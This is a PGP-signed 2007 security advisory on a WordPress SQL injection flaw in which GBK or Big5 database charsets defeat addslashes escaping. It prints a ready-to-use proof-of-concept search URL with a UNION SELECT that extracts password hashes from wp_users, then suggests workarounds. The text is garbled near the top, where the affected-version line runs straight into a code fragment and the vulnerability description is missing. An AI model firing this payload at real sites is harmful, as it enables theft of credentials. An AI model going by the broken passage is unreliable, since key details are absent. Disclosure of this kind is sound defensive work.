wordpresscharset-sql.txt

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
=== WordPress Charset SQL Injection Vulnerability ===  
  
Release date: 2007-12-10  
Last modified: 2007-12-10  
Source: Abel Cheung  
Affected version: WordPress escape($gpc);  
}  
  
  
Finally, escape() method belongs to wp-includes/wp-db.php:  
  
function escape($string) {  
return addslashes( $string ); // Disable rest for now, causing problems  
......  
}  
  
  
3. Proof of concept  
  
a. After WordPress installation, modify wp-config.php to make sure  
it uses certain character set for database connection (Big5 can  
also be used):  
define('DB_CHARSET', 'GBK');  
  
b. http://localhost/wordpress/index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23  
  
  
4. Workaround  
  
Note: This vulnerability only exists for database queries performed  
using certain character sets. For databases created in most other  
character sets no remedy is needed.  
  
a. It is recommended to convert WordPress database to use character sets not  
vulnerable to such SQL exploit. One such charset is UTF-8, which does not  
use backslash ('\') as part of character and it supports various languages.  
b. Alternatively, edit WordPress theme to remove search capability.  
  
  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.6 (GNU/Linux)  
Comment: http://firegpg.tuxfamily.org  
  
iD8DBQFHXVXGQVLh8cZxhv8RAgjgAKDwvrrO6hJbnV0/VFah5W+i8grYcwCgzyCT  
5RKJG+zo/mktmRU3v1IfmXE=  
=2okr  
-----END PGP SIGNATURE-----  
  
`